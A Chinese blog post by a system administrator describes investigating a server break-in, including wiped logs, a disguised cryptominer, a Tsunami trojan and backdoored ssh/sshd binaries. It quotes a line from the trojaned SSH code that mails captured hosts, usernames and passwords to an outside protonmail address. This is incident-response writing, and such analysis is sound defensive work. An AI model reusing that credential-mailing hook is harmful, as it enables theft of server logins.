程序员

与入侵者的斗争

2018-10-21  本文已影响13人  老吕子

刚入职新公司,听同事说过公司有服务器中过挖矿病毒,当时没有特别在意

文中出现的xxx 和 yyy 都是在打赛克

1. 初次接触

日期:x月15日

早上收到服务器报警,提示/etc/passwd文件被修改。

登录服务器出现host key被修改提示;
检查服务器上last和history 记录被清空;
/var/log/secure被清空;
/var/log/messages被清空;
.ssh/authorized_keys 被新增未知 pub key。

基于以上判断:服务器被入侵了。

采取措施:

2. 发现cpu利用率高

日期:x月20日

发现多个服务器cpu usr利用率 长期90%以上。

ESTAB      0      0      10.3.x.x:48002              1xx.2xx.1xx.1xx:443 
 ps -ef |grep wipefs
root      7025     1 99 Xxx 15 ?        19-10:42:00 /usr/lib64/-l/.db/wipefs --library-path /usr/lib64/-l/.db /usr/lib64/-l/.db/x

3. 获取密码

日期:x+1月7日

又发现服务器运行了挖矿程序wipefs

usr/lib/httpds: Win.Trojan.Tsunami-5 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6677493
Engine version: 0.100.1
Scanned directories: 11867
Scanned files: 95647
Infected files: 1
Data scanned: 7709.03 MB
Data read: 34049.43 MB (ratio 0.23:1)
Time: 3318.450 sec (55 m 18 s)
---------------------- Start Rootkit Hunter Scan ----------------------
Warning: Package manager verification has failed:
        File: /usr/sbin/sshd
        The file hash value has changed
        The file size has changed
        The file modification time has changed
Warning: Package manager verification has failed:
        File: /usr/bin/ssh
        The file hash value has changed
        The file size has changed
        The file modification time has changed
  1. 中了木马病毒,同时发现对应cron job和进程
  2. ssh和sshd都被修改
# 发现其有调用mail 发送邮件
echo pass_from: 10.3.x.x user:  xxx pass: yyyy |mail -s "Salut sefu, am moutati" linuxxxxx@protonmail.com

这就找到了为什么密码没有暴力破解就被获取到了(此前一度怀疑公司有内鬼,当然现在也没排除这个可能)

那么protonmail.com邮箱到底是怎么样的邮箱系统呢?
从官方介绍来看,摘取如下两点:
ProtonMail is incorporated in Switzerland and all our servers are located in Switzerland. This means all user data is protected by strict Swiss privacy laws.
No personal information is required to create your secure email account. By default, we do not keep any IP logs which can be linked to your anonymous email account. Your privacy comes first.
基本上可以认定为入侵者的必备邮件系统,网上也可查询到有的勒索病毒也使用此邮箱。

参考文档
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://paper.seebug.org/629/

上一篇 下一篇

猜你喜欢

热点阅读